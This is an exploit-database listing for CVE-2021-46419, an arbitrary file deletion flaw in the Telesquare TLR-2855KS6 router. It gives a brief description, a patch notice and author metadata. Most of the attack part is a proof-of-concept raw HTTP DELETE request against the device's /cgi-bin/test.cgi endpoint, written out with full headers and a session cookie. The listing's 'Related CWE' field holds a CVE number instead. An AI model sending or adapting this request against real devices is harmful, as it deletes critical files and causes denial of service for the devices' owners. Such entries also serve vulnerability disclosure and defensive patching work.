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vendor:
TLR-2855KS6
by:
Momen Eldawakhly
9.1
CVSS
CRITICAL
Arbitrary File Deletion
20
CWE
Product Name: TLR-2855KS6
Affected Version From: TLR-2855KS6
Affected Version To: TLR-2855KS6
Patch Exists: YES
Related CWE: CVE-2021-46419
CPE: h:telesquare:tlr-2855ks6
Metasploit:
Other Scripts:
Platforms Tested: Linux [Firefox]
2022

Telesquare TLR-2855KS6 – Arbitrary File Deletion

An arbitrary file deletion vulnerability exists in Telesquare TLR-2855KS6. A remote attacker can send a specially crafted HTTP request to the vulnerable device to delete arbitrary files. This can be exploited to delete critical system files and cause a denial of service.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to update their devices to the latest version.
Source

Exploit-DB raw data:

# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Deletion
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46419

# Proof of Concept

DELETE /cgi-bin/test.cgi HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 438
Origin: http://192.168.1.5
DNT: 1
Connection: close
Referer: http://192.168.1.5/
Cookie: nonce=16426923592222

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